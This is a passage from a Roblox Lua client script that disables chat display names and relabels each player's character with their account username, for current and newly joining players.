3640 | UICorner.Parent = Frame |
3641 | ScreenGui55.ResetOnSpawn = false |
3642 | wait(1) |
3643 | local Players = game:FindService("Players") |
3644 | |
3645 | require(game:GetService("Chat"):WaitForChild("ClientChatModules").ChatSettings).PlayerDisplayNamesEnabled = false |
3646 | |
3647 | local function rename(character,name) |
3648 | repeat task.wait() until character:FindFirstChildWhichIsA("Humanoid") |
3649 | character:FindFirstChildWhichIsA("Humanoid").DisplayName = name |
3650 | end |
3651 | |
3652 | for i,v in next, Players:GetPlayers() do |
3653 | if v.Character then |
3654 | v.DisplayName = v.Name |
3655 | rename(v.Character,v.Name) |
3656 | end |
3657 | v.CharacterAdded:Connect(function(char) |
3658 | rename(char,v.Name) |
3659 | end) |
3660 | end |
3661 | |
3662 | Players.PlayerAdded:Connect(function(plr) |
3663 | plr.DisplayName = plr.Name |
3664 | plr.CharacterAdded:Connect(function(char) |
3665 | rename(char,plr.Name) |
3666 | end) |
3667 | end) |